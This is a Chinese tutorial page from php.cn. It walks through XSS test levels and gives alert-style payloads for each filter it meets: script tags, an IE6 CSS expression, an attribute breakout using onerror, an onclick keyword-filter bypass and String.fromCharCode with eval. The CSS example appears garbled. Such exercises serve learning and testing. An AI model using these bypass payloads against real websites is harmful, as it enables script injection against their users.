无安全方面的限制，直接使用
<script>alert(/xss/);</script>
限制条件：只能使用CSS，不允许使用html标签
我们知道利用expression可以用来构造XSS，但是只能在IE下面测试，所以下面的测试请在IE6中执行。
body {
black;
xss:alert(/xss/));/*IE6下测试*/
}限制条件：对HTML进行了转义，Image标签可用。
测试输入的字符会被插入到src地址中，那么可以使用伪协议来绕过。
直接输入
alert( /xss/);
或者你也可以使用事件来绕过，注意闭合语句即可，如下：
1" onerror=alert(/xss/); var a="1
限制条件：使用了关键字过滤。
我测试了一下，大部分都过滤了，有部分未过滤，经测试script/onerror过滤了，但是onclick未过滤，使用onclick事件绕过
@@##@@
限制条件：使用addslashes对特征字符进行了转义
也就是说我们的XSS语句中不能出现单引号，双引号等等特征字符。
直接使用
<script>alert(/xss/);</script>
即可绕过
或者使用String.fromCharCode方法，如下：
<script>eval(String.fromCharCode(97,108,101,114,116,40,47,120,47,41,59));</script>
以上就是xss的小测试是怎样进行的的详细内容，更多请关注php中文网其它相关文章！
每个人都需要一台速度更快、更稳定的 PC。随着时间的推移，垃圾文件、旧注册表数据和不必要的后台进程会占用资源并降低性能。幸运的是，许多工具可以让 Windows 保持平稳运行。
广告![ThinkPHP5快速开发企业站点[全程实录]](https://img.php.cn/upload/course/000/000/068/6253d918a3ce7278.png)
收藏
收藏
Copyright 2014-2025 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号
765
